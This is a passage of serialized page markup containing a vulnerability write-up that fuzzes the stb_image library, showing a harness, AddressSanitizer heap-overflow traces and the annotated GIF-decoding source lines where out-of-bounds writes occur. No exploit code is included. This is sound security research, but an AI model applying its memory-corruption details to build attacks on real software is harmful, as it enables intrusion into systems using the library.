unsigned",{"type":25,"tag":271,"props":159963,"children":159964},{"style":14289},[159965],{"type":30,"value":72164},{"type":25,"tag":271,"props":159967,"children":159968},{"style":13603},[159969],{"type":30,"value":22940},{"type":25,"tag":271,"props":159971,"children":159972},{"style":13625},[159973],{"type":30,"value":159974},"ret;\n",{"type":25,"tag":271,"props":159976,"children":159977},{"class":13593,"line":16434},[159978],{"type":25,"tag":271,"props":159979,"children":159980},{"emptyLinePlaceholder":18},[159981],{"type":30,"value":16829},{"type":25,"tag":271,"props":159983,"children":159984},{"class":13593,"line":16447},[159985,159989,159994,159998,160002],{"type":25,"tag":271,"props":159986,"children":159987},{"style":16171},[159988],{"type":30,"value":25404},{"type":25,"tag":271,"props":159990,"children":159991},{"style":13625},[159992],{"type":30,"value":159993}," (argc ",{"type":25,"tag":271,"props":159995,"children":159996},{"style":13603},[159997],{"type":30,"value":28810},{"type":25,"tag":271,"props":159999,"children":160000},{"style":16187},[160001],{"type":30,"value":21056},{"type":25,"tag":271,"props":160003,"children":160004},{"style":13625},[160005],{"type":30,"value":27925},{"type":25,"tag":271,"props":160007,"children":160008},{"class":13593,"line":16465},[160009,160013,160017],{"type":25,"tag":271,"props":160010,"children":160011},{"style":16171},[160012],{"type":30,"value":28866},{"type":25,"tag":271,"props":160014,"children":160015},{"style":16187},[160016],{"type":30,"value":17654},{"type":25,"tag":271,"props":160018,"children":160019},{"style":13625},[160020],{"type":30,"value":16165},{"type":25,"tag":271,"props":160022,"children":160023},{"class":13593,"line":16486},[160024],{"type":25,"tag":271,"props":160025,"children":160026},{"style":13625},[160027],{"type":30,"value":16501},{"type":25,"tag":271,"props":160029,"children":160030},{"class":13593,"line":16495},[160031],{"type":25,"tag":271,"props":160032,"children":160033},{"emptyLinePlaceholder":18},[160034],{"type":30,"value":16829},{"type":25,"tag":271,"props":160036,"children":160037},{"class":13593,"line":16744},[160038,160043,160047,160052,160056,160060,160064,160068,160072,160076,160081,160085,160090,160094,160099,160103],{"type":25,"tag":271,"props":160039,"children":160040},{"style":13625},[160041],{"type":30,"value":160042},"    ret ",{"type":25,"tag":271,"props":160044,"children":160045},{"style":13603},[160046],{"type":30,"value":1065},{"type":25,"tag":271,"props":160048,"children":160049},{"style":13620},[160050],{"type":30,"value":160051}," stbi_load",{"type":25,"tag":271,"props":160053,"children":160054},{"style":13625},[160055],{"type":30,"value":394},{"type":25,"tag":271,"props":160057,"children":160058},{"style":13598},[160059],{"type":30,"value":159937},{"type":25,"tag":271,"props":160061,"children":160062},{"style":13625},[160063],{"type":30,"value":5604},{"type":25,"tag":271,"props":160065,"children":160066},{"style":16187},[160067],{"type":30,"value":968},{"type":25,"tag":271,"props":160069,"children":160070},{"style":13625},[160071],{"type":30,"value":36160},{"type":25,"tag":271,"props":160073,"children":160074},{"style":13603},[160075],{"type":30,"value":13632},{"type":25,"tag":271,"props":160077,"children":160078},{"style":13625},[160079],{"type":30,"value":160080},"x, ",{"type":25,"tag":271,"props":160082,"children":160083},{"style":13603},[160084],{"type":30,"value":13632},{"type":25,"tag":271,"props":160086,"children":160087},{"style":13625},[160088],{"type":30,"value":160089},"y, ",{"type":25,"tag":271,"props":160091,"children":160092},{"style":13603},[160093],{"type":30,"value":13632},{"type":25,"tag":271,"props":160095,"children":160096},{"style":13625},[160097],{"type":30,"value":160098},"comp, ",{"type":25,"tag":271,"props":160100,"children":160101},{"style":16187},[160102],{"type":30,"value":953},{"type":25,"tag":271,"props":160104,"children":160105},{"style":13625},[160106],{"type":30,"value":13665},{"type":25,"tag":271,"props":160108,"children":160109},{"class":13593,"line":16761},[160110,160114,160119,160123,160127],{"type":25,"tag":271,"props":160111,"children":160112},{"style":16171},[160113],{"type":30,"value":25404},{"type":25,"tag":271,"props":160115,"children":160116},{"style":13625},[160117],{"type":30,"value":160118}," (ret ",{"type":25,"tag":271,"props":160120,"children":160121},{"style":13603},[160122],{"type":30,"value":21696},{"type":25,"tag":271,"props":160124,"children":160125},{"style":14289},[160126],{"type":30,"value":140210},{"type":25,"tag":271,"props":160128,"children":160129},{"style":13625},[160130],{"type":30,"value":27925},{"type":25,"tag":271,"props":160132,"children":160133},{"class":13593,"line":16778},[160134,160138,160142],{"type":25,"tag":271,"props":160135,"children":160136},{"style":16171},[160137],{"type":30,"value":28866},{"type":25,"tag":271,"props":160139,"children":160140},{"style":16187},[160141],{"type":30,"value":17654},{"type":25,"tag":271,"props":160143,"children":160144},{"style":13625},[160145],{"type":30,"value":16165},{"type":25,"tag":271,"props":160147,"children":160148},{"class":13593,"line":16791},[160149],{"type":25,"tag":271,"props":160150,"children":160151},{"style":13625},[160152],{"type":30,"value":16501},{"type":25,"tag":271,"props":160154,"children":160155},{"class":13593,"line":16800},[160156],{"type":25,"tag":271,"props":160157,"children":160158},{"style":13625},[160159],{"type":30,"value":74901},{"type":25,"tag":271,"props":160161,"children":160162},{"class":13593,"line":16823},[160163,160168],{"type":25,"tag":271,"props":160164,"children":160165},{"style":13620},[160166],{"type":30,"value":160167},"    stbi_image_free",{"type":25,"tag":271,"props":160169,"children":160170},{"style":13625},[160171],{"type":30,"value":160172},"(ret);\n",{"type":25,"tag":271,"props":160174,"children":160175},{"class":13593,"line":16832},[160176],{"type":25,"tag":271,"props":160177,"children":160178},{"emptyLinePlaceholder":18},[160179],{"type":30,"value":16829},{"type":25,"tag":271,"props":160181,"children":160182},{"class":13593,"line":16841},[160183,160187,160191],{"type":25,"tag":271,"props":160184,"children":160185},{"style":16171},[160186],{"type":30,"value":30111},{"type":25,"tag":271,"props":160188,"children":160189},{"style":16187},[160190],{"type":30,"value":16190},{"type":25,"tag":271,"props":160192,"children":160193},{"style":13625},[160194],{"type":30,"value":16165},{"type":25,"tag":271,"props":160196,"children":160197},{"class":13593,"line":16907},[160198],{"type":25,"tag":271,"props":160199,"children":160200},{"style":13625},[160201],{"type":30,"value":17058},{"type":25,"tag":26,"props":160203,"children":160204},{},[160205],{"type":30,"value":160206},"And soon after starting the fuzzer it found an interesting bug:",{"type":25,"tag":7764,"props":160208,"children":160210},{"code":160209},"=================================================================\n==1087247==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x52d000008800 thread T0\n    #0 0x655424309a49 in stbi__out_gif_code stb/stb_image.h:6233\n    #1 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    #2 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    [...]\n    #19 0x65542430a697 in stbi__process_gif_raster stb/stb_image.h:6326\n    #20 0x65542430b936 in stbi__gif_load_next stb/stb_image.h:6443\n    #21 0x65542430c90e in stbi__gif_load stb/stb_image.h:6573\n    #22 0x6554242fc0d4 in stbi__load_main stb/stb_image.h:989\n    #23 0x6554242fc927 in stbi__load_and_postprocess_8bit stb/stb_image.h:1088\n    #24 0x6554242fd34f in stbi_load_from_file stb/stb_image.h:1174\n    #25 0x6554242fd22c in stbi_load stb/stb_image.h:1164\n    [...]\n",[160211],{"type":25,"tag":264,"props":160212,"children":160213},{"__ignoreMap":7},[160214],{"type":30,"value":160209},{"type":25,"tag":2352,"props":160216,"children":160218},{"id":160217},"investigating-the-finding",[160219],{"type":30,"value":160220},"Investigating the Finding",{"type":25,"tag":26,"props":160222,"children":160223},{},[160224,160226,160232,160233,160238],{"type":30,"value":160225},"The ASAN output shows that at line ",{"type":25,"tag":264,"props":160227,"children":160229},{"className":160228},[],[160230],{"type":30,"value":160231},"6233",{"type":30,"value":155732},{"type":25,"tag":264,"props":160234,"children":160236},{"className":160235},[],[160237],{"type":30,"value":159765},{"type":30,"value":160239}," an attempt was made to write a single byte out-of-bounds. Looking at the nearby source:",{"type":25,"tag":7764,"props":160241,"children":160243},{"code":160242,"language":13243,"meta":7,"className":29637,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   stbi_uc *p, *c;\n   int idx; \n\n   [...]\n\n   if (g->cur_y >= g->max_y) return;\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;          // OOB write\n",[160244],{"type":25,"tag":264,"props":160245,"children":160246},{"__ignoreMap":7},[160247,160289,160296,160322,160335,160342,160350,160357,160411,160418,160464,160497],{"type":25,"tag":271,"props":160248,"children":160249},{"class":13593,"line":13594},[160250,160254,160258,160263,160268,160272,160276,160281,160285],{"type":25,"tag":271,"props":160251,"children":160252},{"style":14289},[160253],{"type":30,"value":64160},{"type":25,"tag":271,"props":160255,"children":160256},{"style":14289},[160257],{"type":30,"value":64165},{"type":25,"tag":271,"props":160259,"children":160260},{"style":13620},[160261],{"type":30,"value":160262}," stbi__out_gif_code",{"type":25,"tag":271,"props":160264,"children":160265},{"style":13625},[160266],{"type":30,"value":160267},"(stbi__gif ",{"type":25,"tag":271,"props":160269,"children":160270},{"style":13603},[160271],{"type":30,"value":17702},{"type":25,"tag":271,"props":160273,"children":160274},{"style":13598},[160275],{"type":30,"value":1558},{"type":25,"tag":271,"props":160277,"children":160278},{"style":13625},[160279],{"type":30,"value":160280},", stbi__uint16 ",{"type":25,"tag":271,"props":160282,"children":160283},{"style":13598},[160284],{"type":30,"value":264},{"type":25,"tag":271,"props":160286,"children":160287},{"style":13625},[160288],{"type":30,"value":16299},{"type":25,"tag":271,"props":160290,"children":160291},{"class":13593,"line":11641},[160292],{"type":25,"tag":271,"props":160293,"children":160294},{"style":13625},[160295],{"type":30,"value":24005},{"type":25,"tag":271,"props":160297,"children":160298},{"class":13593,"line":14354},[160299,160304,160308,160313,160317],{"type":25,"tag":271,"props":160300,"children":160301},{"style":13625},[160302],{"type":30,"value":160303},"   stbi_uc ",{"type":25,"tag":271,"props":160305,"children":160306},{"style":13603},[160307],{"type":30,"value":17702},{"type":25,"tag":271,"props":160309,"children":160310},{"style":13625},[160311],{"type":30,"value":160312},"p, ",{"type":25,"tag":271,"props":160314,"children":160315},{"style":13603},[160316],{"type":30,"value":17702},{"type":25,"tag":271,"props":160318,"children":160319},{"style":13625},[160320],{"type":30,"value":160321},"c;\n",{"type":25,"tag":271,"props":160323,"children":160324},{"class":13593,"line":14391},[160325,160330],{"type":25,"tag":271,"props":160326,"children":160327},{"style":14289},[160328],{"type":30,"value":160329},"   int",{"type":25,"tag":271,"props":160331,"children":160332},{"style":13625},[160333],{"type":30,"value":160334}," idx; \n",{"type":25,"tag":271,"props":160336,"children":160337},{"class":13593,"line":14400},[160338],{"type":25,"tag":271,"props":160339,"children":160340},{"emptyLinePlaceholder":18},[160341],{"type":30,"value":16829},{"type":25,"tag":271,"props":160343,"children":160344},{"class":13593,"line":16406},[160345],{"type":25,"tag":271,"props":160346,"children":160347},{"style":13625},[160348],{"type":30,"value":160349},"   [...]\n",{"type":25,"tag":271,"props":160351,"children":160352},{"class":13593,"line":16434},[160353],{"type":25,"tag":271,"props":160354,"children":160355},{"emptyLinePlaceholder":18},[160356],{"type":30,"value":16829},{"type":25,"tag":271,"props":160358,"children":160359},{"class":13593,"line":16447},[160360,160364,160368,160372,160376,160381,160385,160390,160394,160399,160403,160407],{"type":25,"tag":271,"props":160361,"children":160362},{"style":16171},[160363],{"type":30,"value":65760},{"type":25,"tag":271,"props":160365,"children":160366},{"style":13625},[160367],{"type":30,"value":16213},{"type":25,"tag":271,"props":160369,"children":160370},{"style":13598},[160371],{"type":30,"value":1558},{"type":25,"tag":271,"props":160373,"children":160374},{"style":13625},[160375],{"type":30,"value":14411},{"type":25,"tag":271,"props":160377,"children":160378},{"style":13598},[160379],{"type":30,"value":160380},"cur_y",{"type":25,"tag":271,"props":160382,"children":160383},{"style":13603},[160384],{"type":30,"value":21423},{"type":25,"tag":271,"props":160386,"children":160387},{"style":13598},[160388],{"type":30,"value":160389}," g",{"type":25,"tag":271,"props":160391,"children":160392},{"style":13625},[160393],{"type":30,"value":14411},{"type":25,"tag":271,"props":160395,"children":160396},{"style":13598},[160397],{"type":30,"value":160398},"max_y",{"type":25,"tag":271,"props":160400,"children":160401},{"style":13625},[160402],{"type":30,"value":14406},{"type":25,"tag":271,"props":160404,"children":160405},{"style":16171},[160406],{"type":30,"value":61573},{"type":25,"tag":271,"props":160408,"children":160409},{"style":13625},[160410],{"type":30,"value":16165},{"type":25,"tag":271,"props":160412,"children":160413},{"class":13593,"line":16465},[160414],{"type":25,"tag":271,"props":160415,"children":160416},{"emptyLinePlaceholder":18},[160417],{"type":30,"value":16829},{"type":25,"tag":271,"props":160419,"children":160420},{"class":13593,"line":16486},[160421,160426,160430,160434,160438,160443,160447,160451,160455,160459],{"type":25,"tag":271,"props":160422,"children":160423},{"style":13625},[160424],{"type":30,"value":160425},"   idx ",{"type":25,"tag":271,"props":160427,"children":160428},{"style":13603},[160429],{"type":30,"value":1065},{"type":25,"tag":271,"props":160431,"children":160432},{"style":13598},[160433],{"type":30,"value":160389},{"type":25,"tag":271,"props":160435,"children":160436},{"style":13625},[160437],{"type":30,"value":14411},{"type":25,"tag":271,"props":160439,"children":160440},{"style":13598},[160441],{"type":30,"value":160442},"cur_x",{"type":25,"tag":271,"props":160444,"children":160445},{"style":13603},[160446],{"type":30,"value":22025},{"type":25,"tag":271,"props":160448,"children":160449},{"style":13598},[160450],{"type":30,"value":160389},{"type":25,"tag":271,"props":160452,"children":160453},{"style":13625},[160454],{"type":30,"value":14411},{"type":25,"tag":271,"props":160456,"children":160457},{"style":13598},[160458],{"type":30,"value":160380},{"type":25,"tag":271,"props":160460,"children":160461},{"style":13625},[160462],{"type":30,"value":160463},"; \n",{"type":25,"tag":271,"props":160465,"children":160466},{"class":13593,"line":16495},[160467,160472,160476,160480,160484,160488,160492],{"type":25,"tag":271,"props":160468,"children":160469},{"style":13625},[160470],{"type":30,"value":160471},"   p ",{"type":25,"tag":271,"props":160473,"children":160474},{"style":13603},[160475],{"type":30,"value":1065},{"type":25,"tag":271,"props":160477,"children":160478},{"style":13603},[160479],{"type":30,"value":14341},{"type":25,"tag":271,"props":160481,"children":160482},{"style":13598},[160483],{"type":30,"value":1558},{"type":25,"tag":271,"props":160485,"children":160486},{"style":13625},[160487],{"type":30,"value":14411},{"type":25,"tag":271,"props":160489,"children":160490},{"style":13598},[160491],{"type":30,"value":11028},{"type":25,"tag":271,"props":160493,"children":160494},{"style":13625},[160495],{"type":30,"value":160496},"[idx];\n",{"type":25,"tag":271,"props":160498,"children":160499},{"class":13593,"line":16744},[160500,160505,160509,160514,160519,160523,160527,160531,160535,160539,160543],{"type":25,"tag":271,"props":160501,"children":160502},{"style":13598},[160503],{"type":30,"value":160504},"   g",{"type":25,"tag":271,"props":160506,"children":160507},{"style":13625},[160508],{"type":30,"value":14411},{"type":25,"tag":271,"props":160510,"children":160511},{"style":13598},[160512],{"type":30,"value":160513},"history",{"type":25,"tag":271,"props":160515,"children":160516},{"style":13625},[160517],{"type":30,"value":160518},"[idx ",{"type":25,"tag":271,"props":160520,"children":160521},{"style":13603},[160522],{"type":30,"value":7621},{"type":25,"tag":271,"props":160524,"children":160525},{"style":16187},[160526],{"type":30,"value":24870},{"type":25,"tag":271,"props":160528,"children":160529},{"style":13625},[160530],{"type":30,"value":21781},{"type":25,"tag":271,"props":160532,"children":160533},{"style":13603},[160534],{"type":30,"value":1065},{"type":25,"tag":271,"props":160536,"children":160537},{"style":16187},[160538],{"type":30,"value":17654},{"type":25,"tag":271,"props":160540,"children":160541},{"style":13625},[160542],{"type":30,"value":62190},{"type":25,"tag":271,"props":160544,"children":160545},{"style":14385},[160546],{"type":30,"value":160547},"          // OOB write\n",{"type":25,"tag":26,"props":160549,"children":160550},{},[160551,160553,160558,160560,160566,160568,160574],{"type":30,"value":160552},"It’s reasonable to assume ",{"type":25,"tag":264,"props":160554,"children":160556},{"className":160555},[],[160557],{"type":30,"value":89633},{"type":30,"value":160559}," is outside the bounds of ",{"type":25,"tag":264,"props":160561,"children":160563},{"className":160562},[],[160564],{"type":30,"value":160565},"g->history",{"type":30,"value":160567},", which leads to a one-byte OOB write (",{"type":25,"tag":264,"props":160569,"children":160571},{"className":160570},[],[160572],{"type":30,"value":160573},"g->history[idx / 4] = 1",{"type":30,"value":160575},"). That single-byte OOB is hard to exploit remotely, but it was the only corruption observed initially, so we investigated further.",{"type":25,"tag":26,"props":160577,"children":160578},{},[160579,160581,160586,160588,160594,160596,160601,160603,160609,160611,160617],{"type":30,"value":160580},"Because ",{"type":25,"tag":264,"props":160582,"children":160584},{"className":160583},[],[160585],{"type":30,"value":26},{"type":30,"value":160587}," is computed from ",{"type":25,"tag":264,"props":160589,"children":160591},{"className":160590},[],[160592],{"type":30,"value":160593},"g->out[idx]",{"type":30,"value":160595}," immediately before the violation, we considered whether ",{"type":25,"tag":264,"props":160597,"children":160599},{"className":160598},[],[160600],{"type":30,"value":89633},{"type":30,"value":160602}," could also be OOB for ",{"type":25,"tag":264,"props":160604,"children":160606},{"className":160605},[],[160607],{"type":30,"value":160608},"g->out",{"type":30,"value":160610},". Note that computing the address ",{"type":25,"tag":264,"props":160612,"children":160614},{"className":160613},[],[160615],{"type":30,"value":160616},"&g->out[idx]",{"type":30,"value":160618}," does not itself access the memory, so ASAN wouldn’t flag it.",{"type":25,"tag":26,"props":160620,"children":160621},{},[160622,160624,160629],{"type":30,"value":160623},"If we comment out ",{"type":25,"tag":264,"props":160625,"children":160627},{"className":160626},[],[160628],{"type":30,"value":160573},{"type":30,"value":160630}," and re-run the fuzzing input, ASAN reports another violation in the same function at a different line:",{"type":25,"tag":7764,"props":160632,"children":160634},{"code":160633},"=================================================================\n==8578==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x7f0fe6e6c800 thread T0\n    #0 0x5d54e32a4315 in stbi__out_gif_code stb/stb_image.h:6237\n    [...]\n",[160635],{"type":25,"tag":264,"props":160636,"children":160637},{"__ignoreMap":7},[160638],{"type":30,"value":160633},{"type":25,"tag":26,"props":160640,"children":160641},{},[160642],{"type":30,"value":160643},"This corresponds to:",{"type":25,"tag":7764,"props":160645,"children":160647},{"code":160646,"language":13243,"meta":7,"className":29637,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   [...]\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;  \n\n   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];        // OOB write\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   }\n",[160648],{"type":25,"tag":264,"props":160649,"children":160650},{"__ignoreMap":7},[160651,160690,160697,160704,160711,160754,160785,160829,160836,160904,160944,160989,161028,161067,161106],{"type":25,"tag":271,"props":160652,"children":160653},{"class":13593,"line":13594},[160654,160658,160662,160666,160670,160674,160678,160682,160686],{"type":25,"tag":271,"props":160655,"children":160656},{"style":14289},[160657],{"type":30,"value":64160},{"type":25,"tag":271,"props":160659,"children":160660},{"style":14289},[160661],{"type":30,"value":64165},{"type":25,"tag":271,"props":160663,"children":160664},{"style":13620},[160665],{"type":30,"value":160262},{"type":25,"tag":271,"props":160667,"children":160668},{"style":13625},[160669],{"type":30,"value":160267},{"type":25,"tag":271,"props":160671,"children":160672},{"style":13603},[160673],{"type":30,"value":17702},{"type":25,"tag":271,"props":160675,"children":160676},{"style":13598},[160677],{"type":30,"value":1558},{"type":25,"tag":271,"props":160679,"children":160680},{"style":13625},[160681],{"type":30,"value":160280},{"type":25,"tag":271,"props":160683,"children":160684},{"style":13598},[160685],{"type":30,"value":264},{"type":25,"tag":271,"props":160687,"children":160688},{"style":13625},[160689],{"type":30,"value":16299},{"type":25,"tag":271,"props":160691,"children":160692},{"class":13593,"line":11641},[160693],{"type":25,"tag":271,"props":160694,"children":160695},{"style":13625},[160696],{"type":30,"value":24005},{"type":25,"tag":271,"props":160698,"children":160699},{"class":13593,"line":14354},[160700],{"type":25,"tag":271,"props":160701,"children":160702},{"style":13625},[160703],{"type":30,"value":160349},{"type":25,"tag":271,"props":160705,"children":160706},{"class":13593,"line":14391},[160707],{"type":25,"tag":271,"props":160708,"children":160709},{"emptyLinePlaceholder":18},[160710],{"type":30,"value":16829},{"type":25,"tag":271,"props":160712,"children":160713},{"class":13593,"line":14400},[160714,160718,160722,160726,160730,160734,160738,160742,160746,160750],{"type":25,"tag":271,"props":160715,"children":160716},{"style":13625},[160717],{"type":30,"value":160425},{"type":25,"tag":271,"props":160719,"children":160720},{"style":13603},[160721],{"type":30,"value":1065},{"type":25,"tag":271,"props":160723,"children":160724},{"style":13598},[160725],{"type":30,"value":160389},{"type":25,"tag":271,"props":160727,"children":160728},{"style":13625},[160729],{"type":30,"value":14411},{"type":25,"tag":271,"props":160731,"children":160732},{"style":13598},[160733],{"type":30,"value":160442},{"type":25,"tag":271,"props":160735,"children":160736},{"style":13603},[160737],{"type":30,"value":22025},{"type":25,"tag":271,"props":160739,"children":160740},{"style":13598},[160741],{"type":30,"value":160389},{"type":25,"tag":271,"props":160743,"children":160744},{"style":13625},[160745],{"type":30,"value":14411},{"type":25,"tag":271,"props":160747,"children":160748},{"style":13598},[160749],{"type":30,"value":160380},{"type":25,"tag":271,"props":160751,"children":160752},{"style":13625},[160753],{"type":30,"value":160463},{"type":25,"tag":271,"props":160755,"children":160756},{"class":13593,"line":16406},[160757,160761,160765,160769,160773,160777,160781],{"type":25,"tag":271,"props":160758,"children":160759},{"style":13625},[160760],{"type":30,"value":160471},{"type":25,"tag":271,"props":160762,"children":160763},{"style":13603},[160764],{"type":30,"value":1065},{"type":25,"tag":271,"props":160766,"children":160767},{"style":13603},[160768],{"type":30,"value":14341},{"type":25,"tag":271,"props":160770,"children":160771},{"style":13598},[160772],{"type":30,"value":1558},{"type":25,"tag":271,"props":160774,"children":160775},{"style":13625},[160776],{"type":30,"value":14411},{"type":25,"tag":271,"props":160778,"children":160779},{"style":13598},[160780],{"type":30,"value":11028},{"type":25,"tag":271,"props":160782,"children":160783},{"style":13625},[160784],{"type":30,"value":160496},{"type":25,"tag":271,"props":160786,"children":160787},{"class":13593,"line":16434},[160788,160792,160796,160800,160804,160808,160812,160816,160820,160824],{"type":25,"tag":271,"props":160789,"children":160790},{"style":13598},[160791],{"type":30,"value":160504},{"type":25,"tag":271,"props":160793,"children":160794},{"style":13625},[160795],{"type":30,"value":14411},{"type":25,"tag":271,"props":160797,"children":160798},{"style":13598},[160799],{"type":30,"value":160513},{"type":25,"tag":271,"props":160801,"children":160802},{"style":13625},[160803],{"type":30,"value":160518},{"type":25,"tag":271,"props":160805,"children":160806},{"style":13603},[160807],{"type":30,"value":7621},{"type":25,"tag":271,"props":160809,"children":160810},{"style":16187},[160811],{"type":30,"value":24870},{"type":25,"tag":271,"props":160813,"children":160814},{"style":13625},[160815],{"type":30,"value":21781},{"type":25,"tag":271,"props":160817,"children":160818},{"style":13603},[160819],{"type":30,"value":1065},{"type":25,"tag":271,"props":160821,"children":160822},{"style":16187},[160823],{"type":30,"value":17654},{"type":25,"tag":271,"props":160825,"children":160826},{"style":13625},[160827],{"type":30,"value":160828},";  \n",{"type":25,"tag":271,"props":160830,"children":160831},{"class":13593,"line":16447},[160832],{"type":25,"tag":271,"props":160833,"children":160834},{"emptyLinePlaceholder":18},[160835],{"type":30,"value":16829},{"type":25,"tag":271,"props":160837,"children":160838},{"class":13593,"line":16465},[160839,160844,160848,160852,160856,160860,160865,160869,160873,160877,160882,160887,160892,160896,160900],{"type":25,"tag":271,"props":160840,"children":160841},{"style":13625},[160842],{"type":30,"value":160843},"   c ",{"type":25,"tag":271,"props":160845,"children":160846},{"style":13603},[160847],{"type":30,"value":1065},{"type":25,"tag":271,"props":160849,"children":160850},{"style":13603},[160851],{"type":30,"value":14341},{"type":25,"tag":271,"props":160853,"children":160854},{"style":13598},[160855],{"type":30,"value":1558},{"type":25,"tag":271,"props":160857,"children":160858},{"style":13625},[160859],{"type":30,"value":14411},{"type":25,"tag":271,"props":160861,"children":160862},{"style":13598},[160863],{"type":30,"value":160864},"color_table",{"type":25,"tag":271,"props":160866,"children":160867},{"style":13625},[160868],{"type":30,"value":5604},{"type":25,"tag":271,"props":160870,"children":160871},{"style":13598},[160872],{"type":30,"value":1558},{"type":25,"tag":271,"props":160874,"children":160875},{"style":13625},[160876],{"type":30,"value":14411},{"type":25,"tag":271,"props":160878,"children":160879},{"style":13598},[160880],{"type":30,"value":160881},"codes",{"type":25,"tag":271,"props":160883,"children":160884},{"style":13625},[160885],{"type":30,"value":160886},"[code].",{"type":25,"tag":271,"props":160888,"children":160889},{"style":13598},[160890],{"type":30,"value":160891},"suffix",{"type":25,"tag":271,"props":160893,"children":160894},{"style":13603},[160895],{"type":30,"value":22940},{"type":25,"tag":271,"props":160897,"children":160898},{"style":16187},[160899],{"type":30,"value":24870},{"type":25,"tag":271,"props":160901,"children":160902},{"style":13625},[160903],{"type":30,"value":44686},{"type":25,"tag":271,"props":160905,"children":160906},{"class":13593,"line":16486},[160907,160911,160915,160919,160923,160927,160931,160935,160940],{"type":25,"tag":271,"props":160908,"children":160909},{"style":16171},[160910],{"type":30,"value":65760},{"type":25,"tag":271,"props":160912,"children":160913},{"style":13625},[160914],{"type":30,"value":16213},{"type":25,"tag":271,"props":160916,"children":160917},{"style":13598},[160918],{"type":30,"value":13243},{"type":25,"tag":271,"props":160920,"children":160921},{"style":13625},[160922],{"type":30,"value":5604},{"type":25,"tag":271,"props":160924,"children":160925},{"style":16187},[160926],{"type":30,"value":7711},{"type":25,"tag":271,"props":160928,"children":160929},{"style":13625},[160930],{"type":30,"value":21781},{"type":25,"tag":271,"props":160932,"children":160933},{"style":13603},[160934],{"type":30,"value":23586},{"type":25,"tag":271,"props":160936,"children":160937},{"style":16187},[160938],{"type":30,"value":160939}," 128",{"type":25,"tag":271,"props":160941,"children":160942},{"style":13625},[160943],{"type":30,"value":27925},{"type":25,"tag":271,"props":160945,"children":160946},{"class":13593,"line":16495},[160947,160952,160956,160960,160964,160968,160972,160976,160980,160984],{"type":25,"tag":271,"props":160948,"children":160949},{"style":13598},[160950],{"type":30,"value":160951},"      p",{"type":25,"tag":271,"props":160953,"children":160954},{"style":13625},[160955],{"type":30,"value":5604},{"type":25,"tag":271,"props":160957,"children":160958},{"style":16187},[160959],{"type":30,"value":953},{"type":25,"tag":271,"props":160961,"children":160962},{"style":13625},[160963],{"type":30,"value":21781},{"type":25,"tag":271,"props":160965,"children":160966},{"style":13603},[160967],{"type":30,"value":1065},{"type":25,"tag":271,"props":160969,"children":160970},{"style":13598},[160971],{"type":30,"value":50556},{"type":25,"tag":271,"props":160973,"children":160974},{"style":13625},[160975],{"type":30,"value":5604},{"type":25,"tag":271,"props":160977,"children":160978},{"style":16187},[160979],{"type":30,"value":1326},{"type":25,"tag":271,"props":160981,"children":160982},{"style":13625},[160983],{"type":30,"value":69027},{"type":25,"tag":271,"props":160985,"children":160986},{"style":14385},[160987],{"type":30,"value":160988},"        // OOB write\n",{"type":25,"tag":271,"props":160990,"children":160991},{"class":13593,"line":16744},[160992,160996,161000,161004,161008,161012,161016,161020,161024],{"type":25,"tag":271,"props":160993,"children":160994},{"style":13598},[160995],{"type":30,"value":160951},{"type":25,"tag":271,"props":160997,"children":160998},{"style":13625},[160999],{"type":30,"value":5604},{"type":25,"tag":271,"props":161001,"children":161002},{"style":16187},[161003],{"type":30,"value":968},{"type":25,"tag":271,"props":161005,"children":161006},{"style":13625},[161007],{"type":30,"value":21781},{"type":25,"tag":271,"props":161009,"children":161010},{"style":13603},[161011],{"type":30,"value":1065},{"type":25,"tag":271,"props":161013,"children":161014},{"style":13598},[161015],{"type":30,"value":50556},{"type":25,"tag":271,"props":161017,"children":161018},{"style":13625},[161019],{"type":30,"value":5604},{"type":25,"tag":271,"props":161021,"children":161022},{"style":16187},[161023],{"type":30,"value":968},{"type":25,"tag":271,"props":161025,"children":161026},{"style":13625},[161027],{"type":30,"value":44686},{"type":25,"tag":271,"props":161029,"children":161030},{"class":13593,"line":16761},[161031,161035,161039,161043,161047,161051,161055,161059,161063],{"type":25,"tag":271,"props":161032,"children":161033},{"style":13598},[161034],{"type":30,"value":160951},{"type":25,"tag":271,"props":161036,"children":161037},{"style":13625},[161038],{"type":30,"value":5604},{"type":25,"tag":271,"props":161040,"children":161041},{"style":16187},[161042],{"type":30,"value":1326},{"type":25,"tag":271,"props":161044,"children":161045},{"style":13625},[161046],{"type":30,"value":21781},{"type":25,"tag":271,"props":161048,"children":161049},{"style":13603},[161050],{"type":30,"value":1065},{"type":25,"tag":271,"props":161052,"children":161053},{"style":13598},[161054],{"type":30,"value":50556},{"type":25,"tag":271,"props":161056,"children":161057},{"style":13625},[161058],{"type":30,"value":5604},{"type":25,"tag":271,"props":161060,"children":161061},{"style":16187},[161062],{"type":30,"value":953},{"type":25,"tag":271,"props":161064,"children":161065},{"style":13625},[161066],{"type":30,"value":44686},{"type":25,"tag":271,"props":161068,"children":161069},{"class":13593,"line":16778},[161070,161074,161078,161082,161086,161090,161094,161098,161102],{"type":25,"tag":271,"props":161071,"children":161072},{"style":13598},[161073],{"type":30,"value":160951},{"type":25,"tag":271,"props":161075,"children":161076},{"style":13625},[161077],{"type":30,"value":5604},{"type":25,"tag":271,"props":161079,"children":161080},{"style":16187},[161081],{"type":30,"value":7711},{"type":25,"tag":271,"props":161083,"children":161084},{"style":13625},[161085],{"type":30,"value":21781},{"type":25,"tag":271,"props":161087,"children":161088},{"style":13603},[161089],{"type":30,"value":1065},{"type":25,"tag":271,"props":161091,"children":161092},{"style":13598},[161093],{"type":30,"value":50556},{"type":25,"tag":271,"props":161095,"children":161096},{"style":13625},[161097],{"type":30,"value":5604},{"type":25,"tag":271,"props":161099,"children":161100},{"style":16187},[161101],{"type":30,"value":7711},{"type":25,"tag":271,"props":161103,"children":